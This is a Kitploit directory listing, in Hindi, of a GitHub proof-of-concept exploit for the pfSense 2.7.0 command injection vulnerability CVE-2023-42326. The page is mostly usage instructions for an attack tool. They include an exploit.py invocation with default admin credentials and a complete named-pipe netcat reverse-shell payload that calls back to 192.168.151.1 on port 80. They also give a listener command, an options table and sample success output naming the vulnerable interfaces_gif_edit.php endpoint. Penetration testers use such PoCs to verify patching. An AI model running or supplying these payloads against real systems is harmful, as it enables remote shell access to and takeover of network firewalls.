Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-42326 — यह pfsense 2.7 कमांड इंजेक्शन भेद्यता ( CVE-2023-42326) दिखाने के लिए एक सरल POC है। | Kitploit
उपकरण/GitHubGitHub/bl4ckarch/cve-2023-42326
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोल
GitHubbl4ckarch/cve-2023-42326

CVE-2023-42326

यह pfsense 2.7 कमांड इंजेक्शन भेद्यता ( CVE-2023-42326) दिखाने के लिए एक सरल POC है।

रिपॉजिटरी देखें
41031 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

pfSense 2.7.0 कमांड इंजेक्शन एक्सप्लॉइट (CVE-2023-42326)

यह Python स्क्रिप्ट pfSense 2.7.0 में कमांड इंजेक्शन भेद्यता (CVE-2023-42326) के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण है। यह भेद्यता प्रमाणित हमलावरों को interfaces_gif_edit.php और interfaces_gre_edit.php घटकों के माध्यम से मनमाने कमांड को इंजेक्ट और निष्पादित करने की अनुमति देती है।

विशेषताएँ

  • एक्सप्लॉइट मोड चयन (gif या gre) भेद्य घटकों का चयन करने के लिए।
  • मनमाने शेल कमांड चलाने के लिए कमांड इंजेक्शन क्षमता।
  • स्वचालित थ्रेड प्रबंधन के साथ Netcat रिवर्स शेल हैंडलिंग।
  • अनुरोध डेटा की बेहतर दृश्यता के लिए डिबग मोड।

पूर्वापेक्षाएँ

स्क्रिप्ट चलाने से पहले, सुनिश्चित करें कि आपके पास:

  • आपके सिस्टम पर Python 3.x स्थापित है।
  • आवश्यक Python लाइब्रेरीज़ स्थापित हैं:
    pip install requests beautifulsoup4 rich
    

उपयोग

मूल उदाहरण (कमांड इंजेक्शन)

यह कमांड एक शेल कमांड इंजेक्ट करता है जो आपकी मशीन पर एक रिवर्स शेल बनाता है:

python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
  • -u: pfSense एडमिन लॉगिन के लिए उपयोगकर्ता नाम।
  • -p: pfSense एडमिन लॉगिन के लिए पासवर्ड।
  • --mode: एक्सप्लॉइट मोड (gif या gre)।
  • -t: pfSense का लक्ष्य URL।
  • -c: इंजेक्ट करने के लिए शेल कमांड।
  • -d: (वैकल्पिक) कच्चे प्रतिक्रिया डेटा देखने के लिए डिबग मोड सक्षम करें।

रिवर्स शेल उदाहरण

सुनिश्चित करें कि आपकी मशीन पर एक Netcat लिसनर चल रहा है:

nc -lvnp 80

फिर, एक रिवर्स शेल कमांड के साथ स्क्रिप्ट चलाएँ जैसे:

python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"  --insecure(for https without valid ssl)

डेमो GIF

  1. pfSense में लॉग इन करना और GIF इंटरफ़ेस का शोषण करना

    डेमो 1 - GIF इंटरफ़ेस

  2. रिवर्स शेल निष्पादित करना

    डेमो 2 - रिवर्स शेल

स्क्रिप्ट विकल्प

तर्कविवरण
-upfSense एडमिन लॉगिन के लिए उपयोगकर्ता नाम।
-ppfSense एडमिन लॉगिन के लिए पासवर्ड।
-tलक्ष्य pfSense URL/IP पता (जैसे, http://10.101.1.1).
--modeएक्सप्लॉइट मोड: gif (interfaces_gif_edit.php के लिए) या gre.
-cभेद्य घटक में इंजेक्ट करने के लिए कमांड।
-dवैकल्पिक। प्रतिक्रिया डेटा प्रिंट करने के लिए डिबग मोड सक्षम करें।

उदाहरण आउटपुट

जब शोषण सफलतापूर्वक चलता है, तो आपको ऐसा आउटपुट दिखना चाहिए:

██████╗ ███████╗██████╗ ██╗    ██╗███╗   ██╗███╗   ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║    ██║████╗  ██║████╗ ████║██╔════╝
██████╔╝█████╗  ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗  
██╔═══╝ ██╔══╝  ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝  
██║     ██║     ██║     ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝     ╚═╝     ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═╝     ╚═╝╚══════╝

Done with ❤️  by @bl4ckarch                                                            
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully

नोट्स

  • विशेषाधिकार आवश्यकता: आपके पास pfSense इंस्टेंस के लिए मान्य एडमिन क्रेडेंशियल्स होने चाहिए।
  • लक्ष्य सिस्टम: यह शोषण विशेष रूप से pfSense 2.7.0 के लिए है।
  • रिवर्स शेल: रिवर्स शेल सेट करते समय सुनिश्चित करें कि आपकी फ़ायरवॉल सेटिंग्स निर्दिष्ट पोर्ट पर आने वाले कनेक्शन की अनुमति देती हैं।

डिबग मोड

यदि आप भेजे जा रहे अनुरोधों के बारे में अधिक विवरण देखना चाहते हैं, तो आप अपने कमांड में -d जोड़कर डिबग मोड सक्षम कर सकते हैं। यह प्रतिक्रिया डेटा प्रिंट करेगा और किसी भी समस्या के निवारण में मदद करेगा।

python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)

समस्या निवारण

  • सुनिश्चित करें कि लक्ष्य सिस्टम पहुँच योग्य है।
  • लॉगिन के लिए उपयोग किए जा रहे क्रेडेंशियल्स की दोबारा जाँच करें।
  • यदि आवश्यक हो तो अधिक विस्तृत लॉगिंग के लिए -d फ़्लैग का उपयोग करें।
टूल डाउनलोड करें